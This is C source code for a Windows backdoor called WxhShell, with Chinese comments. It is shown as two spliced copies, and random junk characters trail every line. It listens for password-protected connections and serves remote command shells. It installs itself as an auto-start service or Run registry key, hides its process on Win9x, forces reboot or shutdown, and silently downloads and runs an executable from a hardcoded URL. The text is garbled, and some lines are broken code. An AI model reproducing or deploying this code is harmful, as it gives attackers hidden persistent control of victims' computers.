    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<W_fx8_'  
    else { G9@0@2aY8  
    closesocket(wsh); *k>n<p3dd  
    ExitThread(0); Q)z8PQl O  
    } BDZ?Ez \Sg  
    break; xi; `ecqS<  
    } RY*U"G0#w  
  // 获取shell qb` \)X]9  
  case 's': { f'3$9x  
    CmdShell(wsh); VgS_s k  
    closesocket(wsh); rk)`\=No  
    ExitThread(0); dcWD(-  
    break; jm r"D>  
  } Q.c\/&  
  // 退出 m9}P9 ?  
  case 'x': { w.-!UD9/.x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *G 9V'9  
    CloseIt(wsh); k+l b@!  
    break; 9k[9P;"F:  
    } :S(ZzY Q  
  // 离开 "G9xMffW  
  case 'q': { ?#Q #u|~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F^fdIZx  
    closesocket(wsh); 2T[9f;jM'  
    WSACleanup(); $a ` G  
    exit(1); <yg F(  
    break; &XUiKnNW  
        } tIS<U(N ;  
  } QnX(V[  
  } *EwR!L*  
',5 ky{  
  // 提示信息 =zs`#-^8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]L}dzA?:  
} j^2j& Ta  
  } v1,oilL  
gr-OHeid  
  return; @49S`  
} KRKCD4  
d9|<@A  
// shell模块句柄 .Rf_Cl  
int CmdShell(SOCKET sock) "`1bA"E  
{ }?v )N).kW  
STARTUPINFO si; Z>#i**  
ZeroMemory(&si,sizeof(si)); 2Q:+_v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k~FRD?[u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _``=cc  
PROCESS_INFORMATION ProcessInfo; >t_6B~x9  
char cmdline[]="cmd"; ?= fyc1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F`]2O:[  
  return 0; WQO) =n  
} G9<X_  
4)o  
// 自身启动模式 h;NYdX5  
int StartFromService(void) @bP)406p  
{ i,9)\1R  
typedef struct 7EO_5/cY  
{ cq4I pe  
  DWORD ExitStatus; >Wg hn:^  
  DWORD PebBaseAddress; ls)%c  
  DWORD AffinityMask; :tv,]05t  
  DWORD BasePriority; C'}KTXiRW  
  ULONG UniqueProcessId; W#3Q ^Z?  
  ULONG InheritedFromUniqueProcessId; v^+Sh|z/  
}   PROCESS_BASIC_INFORMATION; "AGLVp.zT  
W X6&oy>  
PROCNTQSIP NtQueryInformationProcess; L5:$U>H(  
Alw3\_X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %z 4Nl$\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c=.(!qdH  
l0A&9g*l2  
  HANDLE             hProcess; QGmn#]w\\  
  PROCESS_BASIC_INFORMATION pbi; SS.dY""89  
UFb )AnK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); / FEVmH?  
  if(NULL == hInst ) return 0; L8#5*8W6  
!f&g-V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @/-\k*T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G {%LB}2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fNZ__gO!%  
t |A-9^t'!  
  if (!NtQueryInformationProcess) return 0; (0y~%J  
WlBc.kFck  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R`^_(yn>  
  if(!hProcess) return 0; ,',o'2=!  
= 6\^%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )~ h}  
o`N  9!M  
  CloseHandle(hProcess); I83<r9  
6ar   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c.F6~IHu7  
if(hProcess==NULL) return 0; XFV!S#yEZ  
$aXer:  
HMODULE hMod; U2s /2 [.  
char procName[255]; G,Azm }+  
unsigned long cbNeeded; xbYi.  
dT1H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0T5L_%c  
U H/\  
  CloseHandle(hProcess); ,f;}|d:r  
2Dj%,gaR  
if(strstr(procName,"services")) return 1; // 以服务启动 :@A9](gI  
G?/DrnK:  
  return 0; // 注册表启动 _D(rI#q  
} 2u*KM`fa`  
LvUj9eVb/L  
// 主模块 rFYWs6  
int StartWxhshell(LPSTR lpCmdLine) _&ks1cw  
{ "y/?WQ>,3  
  SOCKET wsl; 7CTFOAx#  
BOOL val=TRUE; |3yL&"  
  int port=0; oJ|j#+Ft  
  struct sockaddr_in door; SPmq4  
!6Mo]xh  
  if(wscfg.ws_autoins) Install(); O2dW6bt  
)*x6 FfTUd  
port=atoi(lpCmdLine); JKGe"  
Jd^,]  
if(port<=0) port=wscfg.ws_port; yT9@!]^L  
% 0+j?>#X  
  WSADATA data; 1gN=-AC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !LN?PKJ  
s'J:f$flS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g:Xhw$x9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :\7X}n*&  
  door.sin_family = AF_INET; <.izVD4/Gg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *QQzvhk  
  door.sin_port = htons(port); {v ;&5!s  
o:P}Wg/NK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .rqhi  
closesocket(wsl); @>>~CZ`l  
return 1; bsA-2*Q+  
} 3/W'V,5G6  
3c6b6  
  if(listen(wsl,2) == INVALID_SOCKET) { oij}'|/Jc  
closesocket(wsl); .qZ~_xkd  
return 1; '|p$)yx2  
} HqD^B[ jS  
  Wxhshell(wsl); Pax|x15  
  WSACleanup(); MC:@U~}6  
rJbf_]^  
return 0; =\wxsL  
>!bJslWA  
} FOy|F-j  
8=uu8-l8g  
// 以NT服务方式启动 x$Oq0d{T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n!xt5=x P{  
{ /Uy"M:|V1  
DWORD   status = 0; 9}F*P669f  
  DWORD   specificError = 0xfffffff; e:n<EnT  
T@&K- UQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rww{:R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w\i\Wp,FP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (w/T-*  
  serviceStatus.dwWin32ExitCode     = 0; Xe:jAkDp  
  serviceStatus.dwServiceSpecificExitCode = 0; Df<xWd2  
  serviceStatus.dwCheckPoint       = 0; (I{rLS!o,L  
  serviceStatus.dwWaitHint       = 0; ZE=Sp=@)j  
K<qk.~ S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +:!7L= N#  
  if (hServiceStatusHandle==0) return; 27O|).yKX  
@ H7d_S  
status = GetLastError(); F{~{Lthc  
  if (status!=NO_ERROR) ,UGRrS  
{ %r}{hq4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bITPQ7+  
    serviceStatus.dwCheckPoint       = 0; KZ ;k)O.Ov  
    serviceStatus.dwWaitHint       = 0; ,J^b0@S  
    serviceStatus.dwWin32ExitCode     = status; "haL  
    serviceStatus.dwServiceSpecificExitCode = specificError; dj7hx"BI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6GSI"M6s  
    return; ,\  
  } a>]uU*Xm  
v>Yb/{A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <[\`qX  
  serviceStatus.dwCheckPoint       = 0; v|%Z+w  
  serviceStatus.dwWaitHint       = 0; '~[d=fwH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Wp{ [TH  
} W~~7 C,!  
;HJLs2bP  
// 处理NT服务事件,比如:启动、停止 W=Mb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v)l8@.  
{  6S*e xw  
switch(fdwControl) ^O<&f D  
{ J|kR5'?x  
case SERVICE_CONTROL_STOP: lpeEpI/gM  
  serviceStatus.dwWin32ExitCode = 0; }v*G_}^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4@n1Uk  
  serviceStatus.dwCheckPoint   = 0; `c5"d  
  serviceStatus.dwWaitHint     = 0; Q$1bWUS&  
  { Raxrb=7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iAa.}CI,zB  
  } g Vv>9W('  
  return; SmdjyK1~8  
case SERVICE_CONTROL_PAUSE: =`:K{loxq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1V4s<m>#  
  break; -tHU6s,  
case SERVICE_CONTROL_CONTINUE: . Z.)t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mg OR2,cR  
  break; YoZFwRQU  
case SERVICE_CONTROL_INTERROGATE: r(aLEJ"u?  
  break; 1#*a:F&re  
}; M/ni6%x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jz.NHiLct1  
} v~V5`%  
Vq5k+3W+  
// 标准应用程序主函数 s(%oTKjt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eg?<mKrZ  
{ Hl/ QnI!  
BuWHX>H  
// 获取操作系统版本 C8e !H  
OsIsNt=GetOsVer(); 9S7 kUl{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5rRN-  
&7b|4a8B%  
  // 从命令行安装 TI#''XCB5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?hM>mL  
i2YuOV!  
  // 下载执行文件 Q}K#'Og  
if(wscfg.ws_downexe) { {QZUDPPR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *4xat:@{{  
  WinExec(wscfg.ws_filenam,SW_HIDE); SHbtWq}T  
} ~\.w^*$#Y  
^3{TZ=_;|  
if(!OsIsNt) { N#7QzB9]  
// 如果时win9x,隐藏进程并且设置为注册表启动 #PanfYR  
HideProc(); lBhLf@  
StartWxhshell(lpCmdLine); X1Ac*oLN  
} oCi=4#g%7  
else 7_Z#m (  
  if(StartFromService()) F\AX :  
  // 以服务方式启动 04'~ta(t  
  StartServiceCtrlDispatcher(DispatchTable); 'wI"Bo6e  
else ll6wpV0m  
  // 普通方式启动 B}:(za&  
  StartWxhshell(lpCmdLine); ]2'na?q9  
HATA-M  
return 0; gb> }v7  
} fX.>9H[w@~  
4%}*&nsI-Z  
HA`@7I  
`V"sOTb  
=========================================== SWQ5fcPu  
tqeZ#w7  
aj}sc/Qa  
VUYmz)m5  
Q7$.LEioN  
@,u/w4  
" k RD%b[*d  
Zh*u(rO  
#include <stdio.h> Z@&Dki  
#include <string.h> Ucm :S-  
#include <windows.h> Nwt" \3  
#include <winsock2.h> Bj}^\Pc;}  
#include <winsvc.h> {>,V\J0p  
#include <urlmon.h> &A)B~"[~  
A~ +S1  
#pragma comment (lib, "Ws2_32.lib") '|*?*6q  
#pragma comment (lib, "urlmon.lib") Yd=a}T  
9^Whg ~{  
#define MAX_USER   100 // 最大客户端连接数 >teO m?@U  
#define BUF_SOCK   200 // sock buffer _ozg_E  
#define KEY_BUFF   255 // 输入 buffer ?a8(a zn  
z$GoaS(  
#define REBOOT     0   // 重启 (85Fv&a  
#define SHUTDOWN   1   // 关机 IWveW8qJ  
E3l> 3  
#define DEF_PORT   5000 // 监听端口 _~tEw.fM5  
AfP 'EP0m  
#define REG_LEN     16   // 注册表键长度 9,_mS{+B  
#define SVC_LEN     80   // NT服务名长度 ] GTAq  
$:j G-r  
// 从dll定义API EV^~eTz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -gas?^`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .E&z$N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YJ/zU52JK~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oY|,GvCnK  
nJ"YIT1K]p  
// wxhshell配置信息 s^|.Zr;,>  
struct WSCFG { H_Kj7(=&>  
  int ws_port;         // 监听端口 ?wF'<kEH  
  char ws_passstr[REG_LEN]; // 口令 |),'9  
  int ws_autoins;       // 安装标记, 1=yes 0=no +sx 8t  
  char ws_regname[REG_LEN]; // 注册表键名 J}@z_^|"mJ  
  char ws_svcname[REG_LEN]; // 服务名 VY"9?2?/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E+tB&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N, *m ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D?,#aB"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M$d%p6Cv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G4;3cT3'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aKlUX  
;?~$h-9)  
}; |*Yf.-  
LIVU^Os.  
// default Wxhshell configuration -0eq_+oQ  
struct WSCFG wscfg={DEF_PORT, uy^   
    "xuhuanlingzhe", V&|Ed  
    1, ?EpSC&S\  
    "Wxhshell", c$`4*6  
    "Wxhshell", 7,MS '2nz  
            "WxhShell Service", 0lsXCr_X  
    "Wrsky Windows CmdShell Service", ;k86"W  
    "Please Input Your Password: ", za9)Q=6FD  
  1, )VK }m9Ae  
  "http://www.wrsky.com/wxhshell.exe", Za7q$7F7Bc  
  "Wxhshell.exe" P^Q[-e{  
    }; maY4g&'f  
sv(f;ib  
// 消息定义模块 _#s=h_ FD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uV hCxUMQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZBG}3Z   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rqy0Q8K<  
char *msg_ws_ext="\n\rExit."; ]cC[-F[  
char *msg_ws_end="\n\rQuit."; R@yyur~'_(  
char *msg_ws_boot="\n\rReboot..."; TtDg*kZ  
char *msg_ws_poff="\n\rShutdown..."; 1w0OKaF5  
char *msg_ws_down="\n\rSave to "; )wtaKF.-  
;.Ie#Vr1N  
char *msg_ws_err="\n\rErr!"; Af5D>/  
char *msg_ws_ok="\n\rOK!"; {[t`j+J  
:!f(F9  
char ExeFile[MAX_PATH]; q$.{j"cZV  
int nUser = 0; dg7=X{=9jv  
HANDLE handles[MAX_USER]; KZ e)K_1[  
int OsIsNt; tYqs~B3  
I.@hW>k  
SERVICE_STATUS       serviceStatus; A[dvEb;r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  \^K&vW;  
xwZ8D<e-,  
// 函数声明 Yy JPHw)Z  
int Install(void); SL&hJs4c'  
int Uninstall(void); H{c?lT  
int DownloadFile(char *sURL, SOCKET wsh); Tv]<SI<B[  
int Boot(int flag); ZC 4*{  
void HideProc(void); iH2n.M "  
int GetOsVer(void); m&0"<V!H/B  
int Wxhshell(SOCKET wsl); "SoHt]%#  
void TalkWithClient(void *cs); 5ZPzPUa8~  
int CmdShell(SOCKET sock); Q2%QLM:.,  
int StartFromService(void); O:/y Ac`  
int StartWxhshell(LPSTR lpCmdLine); 0l#)fJo  
RF!1oZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :9Y$'+ <&H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %_aMl  
w$5A|%Y+V}  
// 数据结构和表定义 PS" .R_"  
SERVICE_TABLE_ENTRY DispatchTable[] = wFIh6[3  
{ KZ:8[d  
{wscfg.ws_svcname, NTServiceMain}, /<3<. ~  
{NULL, NULL} geefnb  
}; l  n }}5Q  
DrvtH+e  
// 自我安装 m:O(+Fl  
int Install(void) y8bM<e2 U  
{ aSYs_?&.  
  char svExeFile[MAX_PATH]; zMK](o1Vj  
  HKEY key; &MgeYpd  
  strcpy(svExeFile,ExeFile); \hP=-J[~C  
:Ze+%d=  
// 如果是win9x系统,修改注册表设为自启动 '!Kf#@';u  
if(!OsIsNt) { x q-$\#O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =]Hs|{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }98>5%Uv  
  RegCloseKey(key); &yz&LNn'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Er:?M_ev  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =S]a&*M  
  RegCloseKey(key); Px'!;  
  return 0; F[7x*-NO-  
    } bT!($?GNdg  
  } snp v z1iS  
} d2ENm%q*PX  
else { [{<dbW\ 9  
6a>H|"P NE  
// 如果是NT以上系统,安装为系统服务 W*xX{$NL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )yb+M ez  
if (schSCManager!=0) SHqyvF  
{ 6=PiVwI  
  SC_HANDLE schService = CreateService 4DO/rtkVq  
  ( VAYb=4lt  
  schSCManager, .Nx W=79t  
  wscfg.ws_svcname, g.#+z'l  
  wscfg.ws_svcdisp, lg:y|@Y''  
  SERVICE_ALL_ACCESS, fRg=!<#%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =ziy`#fm,  
  SERVICE_AUTO_START, *R`MMm  
  SERVICE_ERROR_NORMAL, PG)_L.7rJ  
  svExeFile, K2/E#}/  
  NULL, f!-Sz/c#  
  NULL, Gwd{#7FM`  
  NULL, HrqF![_  
  NULL, XqR{.jF.  
  NULL T"E(  F  
  ); 02]xJo  
  if (schService!=0) JFqf;3R  
  { "gNK><  
  CloseServiceHandle(schService); < 3 j~=-  
  CloseServiceHandle(schSCManager); o;-<|W>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }Pg' vJW  
  strcat(svExeFile,wscfg.ws_svcname); 0v"&G<J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wc#:f 8dr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ha ZFxh-(  
  RegCloseKey(key); bEr.nF  
  return 0; %f[Ep 3D  
    } D?+ RJs  
  } %N~C vN@T  
  CloseServiceHandle(schSCManager); VVrwOo CN  
} e.6Dl_  
} `h;}3r#R{  
n2;9geq+  
return 1; 6;uBZ &g  
} 5FuK\y  
?'~;Q)  
// 自我卸载 1]/N2&  
int Uninstall(void) ,p,Du F  
{ U=o Z.\  
  HKEY key; a0zG(7.D  
NR/-m7#-  
if(!OsIsNt) { |Odu4 Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Y/-8H-3v  
  RegDeleteValue(key,wscfg.ws_regname); m(3);)d  
  RegCloseKey(key); 4IGxI7~27#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~! Lw1]&  
  RegDeleteValue(key,wscfg.ws_regname); .w FU:y4r  
  RegCloseKey(key); z(d4)z 8'6  
  return 0; lfMH1llx  
  } K M]Wl_z  
} L^KdMMz;  
} $k(9 U\y-  
else { ( ji_o^  
!5;t#4=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I>m;G `  
if (schSCManager!=0) PbUI!Xqe`  
{ #DaP=k"XV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \3 KfD'L  
  if (schService!=0) 2v|qLf e1  
  { rZ866\0  
  if(DeleteService(schService)!=0) { Kpu<rKP`  
  CloseServiceHandle(schService); j-P^Zv};u  
  CloseServiceHandle(schSCManager); 6IF|3@yD  
  return 0; > I%zd/q?  
  } UIw?;:Y  
  CloseServiceHandle(schService); s 4IKSX  
  } ip5u_Xj ?  
  CloseServiceHandle(schSCManager); r|8V @.@i  
} T^.{9F]*S  
} `Wwh`]#"~d  
3GWrn ,f  
return 1; u@"o[e':  
} ty;o&w$  
aT/KT,!  
// 从指定url下载文件  ,(hY%M&\  
int DownloadFile(char *sURL, SOCKET wsh) KS>Fl->  
{ 2wOy}:  
  HRESULT hr; I;iR(Hf)?q  
char seps[]= "/"; lWl-@ *'  
char *token; w})NmaT;YF  
char *file; `hF;$  
char myURL[MAX_PATH]; g Np-f  
char myFILE[MAX_PATH]; \R;K>c7=  
@5*xw1B  
strcpy(myURL,sURL); w2<*$~C]  
  token=strtok(myURL,seps); 4O Zy&,  
  while(token!=NULL) &x/k^p=  
  { 9l=Fv6  
    file=token; }moz9a  
  token=strtok(NULL,seps); &@oq~j_7  
  } bfc.rZ  
tYI]=:  
GetCurrentDirectory(MAX_PATH,myFILE); e>(Wvb&4  
strcat(myFILE, "\\"); :dbV2'vIQ  
strcat(myFILE, file); B(E tXB9  
  send(wsh,myFILE,strlen(myFILE),0); v7$9QVze  
send(wsh,"...",3,0); ^AH-+#5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wO\!xW:  
  if(hr==S_OK) W)  
return 0; *%f3rvt7@)  
else 'v`~(9'Rcj  
return 1; G32_FQ$ b  
K \m4*dOv  
} 6NKF'zh  
8|_K  
// 系统电源模块 dTgM"k  
int Boot(int flag) 6 cr^<]v!  
{ Uc>LFX& -B  
  HANDLE hToken; o[H\{a>  
  TOKEN_PRIVILEGES tkp; |<2JQ[]  
iqlVlm>E  
  if(OsIsNt) { IM|Se4;x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A&?WP\_z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O^Dc&w  
    tkp.PrivilegeCount = 1; m>+A*M8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Bzwx0c2VY8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qIUC2,&g  
if(flag==REBOOT) { zVn*!c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GHqBnE{B  
  return 0; vzQyE0T/  
} @Yb Z 8Uc  
else { Hm<M@M$aG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -<12~HKK::  
  return 0; -{r!M(47  
} f>b!-|  
  } 5]Z]j[8Y  
  else { 7a27^b  
if(flag==REBOOT) { k.h^ $f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) olslzXn7o  
  return 0; +&zb^C`J  
} !c v6 #:  
else { =NI.d>kvC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E{?L= ^cU  
  return 0; ~ |J*E38  
} @b>YkJDk  
} q 8tP29  
{!>E9Px  
return 1; =54Vs8.  
} )OS>9 kFH  
.Lp Nm'=R  
// win9x进程隐藏模块 d"Ml^rAn  
void HideProc(void) )62q|c9F  
{ eF*TLI<[^I  
qL u8!|QT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }b<87#Nb9R  
  if ( hKernel != NULL ) WCWSLEAza  
  { '&1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u>j5`OXo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DPR;$yV  
    FreeLibrary(hKernel); z;``g"dSw  
  } [Ja(ArO3|[  
,$ho2R),Fn  
return; MJpP!a^Q  
} ye56-T  
Kn3YI9  
// 获取操作系统版本 $&c<T4$d  
int GetOsVer(void) R'jUS7]Y  
{ o$^O<zL  
  OSVERSIONINFO winfo; 0:PH[\Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k,yc>3P;U  
  GetVersionEx(&winfo); ZA) SJWwD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,7WK<0  
  return 1; 5? S{W  
  else :4Id7Ce  
  return 0; _wIBm2UO  
} &*LA_]1@  
d8VWi*  
// 客户端句柄模块 YY1{v?[  
int Wxhshell(SOCKET wsl) [w+yQ7P  
{ 9;r48)5  
  SOCKET wsh; u)N2  
  struct sockaddr_in client; ;Hz`0V  
  DWORD myID; |SwZi'p  
..v@Q%  
  while(nUser<MAX_USER) 1D 3 dYVE  
{ .eZPp~[lAN  
  int nSize=sizeof(client); d "QM;9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2D\x-!l/  
  if(wsh==INVALID_SOCKET) return 1; 'Y~8_+J?  
JMl ,  N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %5( EkP  
if(handles[nUser]==0) .Bm^3A  
  closesocket(wsh); #VP-T; Ahe  
else 8ItCfbqa6  
  nUser++; ?[a7l:3-[  
  } |>jqH @\P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RPofa+  
4O5n6~24  
  return 0; \#IJ=+z   
} d&$.jk8 2  
Q6e'0EIKC  
// 关闭 socket (25^r  
void CloseIt(SOCKET wsh) -&f]X u  
{ EU&6 Tg  
closesocket(wsh); ]x5(bnW x  
nUser--; GgZEg ?@  
ExitThread(0); >b/k|?xP  
} `2Z4#$.  
uM}dZp 1  
// 客户端请求句柄 J,(U<%n  
void TalkWithClient(void *cs) u(TgWp5WF  
{ DKaG?Y,*p  
)U"D4j*p  
  SOCKET wsh=(SOCKET)cs; {d *qlztO  
  char pwd[SVC_LEN]; ~(*co[_  
  char cmd[KEY_BUFF]; 6qmo ZAg  
char chr[1]; E#&c]9QM75  
int i,j; 4F1.D9u  
r P<d[u  
  while (nUser < MAX_USER) { 2\$WP-)%  
l>[QrRXiSN  
if(wscfg.ws_passstr) { ouu-wQ|(mM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :_I wc=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a{%52B"  
  //ZeroMemory(pwd,KEY_BUFF); &)fhlp5  
      i=0; Sl+jduc  
  while(i<SVC_LEN) { ;N> {1  
"`V"2zZlj  
  // 设置超时 ^bY^x+d  
  fd_set FdRead; K"t:B  
  struct timeval TimeOut; eKU@>5  
  FD_ZERO(&FdRead); ,/[dmoe  
  FD_SET(wsh,&FdRead); /o}0oo5B  
  TimeOut.tv_sec=8; ozxK?AMgG  
  TimeOut.tv_usec=0; b'Piymx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -?2&5YB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X,C/x)  
><:lUt*N2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jmA{rD W  
  pwd=chr[0]; t Sh}0N)  
  if(chr[0]==0xd || chr[0]==0xa) { fs)q7 7g  
  pwd=0; Jte:l:yjtA  
  break; jmZ|b6  
  } `*2*xDuP  
  i++; sWpRX2{5,  
    } nw]e_sm  
\CEnOq  
  // 如果是非法用户,关闭 socket 6LF^[b/u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #u]_7/(</`  
} 2Xq!'NrS  
]Pg?(lr6)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 41f m}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n<Xm%KH.  
]J"+VZ_"I  
while(1) { *9U4^lJjn  
Xj@    
  ZeroMemory(cmd,KEY_BUFF); D+vl%(g  
|WwFE|<  
      // 自动支持客户端 telnet标准   dBD4ogo1  
  j=0; \qK}(xq[  
  while(j<KEY_BUFF) { +%cr?g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8d*<Aki?;  
  cmd[j]=chr[0]; KWuj_.;  
  if(chr[0]==0xa || chr[0]==0xd) { xa%ktn  
  cmd[j]=0; {bq-: CZe  
  break; g`f6gxc  
  } /w0v5X7  
  j++; xZ{|D  
    } {0Ol/N;|D  
~%!U,)-  
  // 下载文件 GXv o't@N  
  if(strstr(cmd,"http://")) { f'?6D+Yw~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9 %.<V_$  
  if(DownloadFile(cmd,wsh)) yZPFo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K:mL%o2J  
  else : QhEu%e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `b'|FKc]  
  } Le$u$ulS  
  else { KA*l6`(  
3~1lVU:  
    switch(cmd[0]) { Z?j='/u>@  
  R.WsC bU  
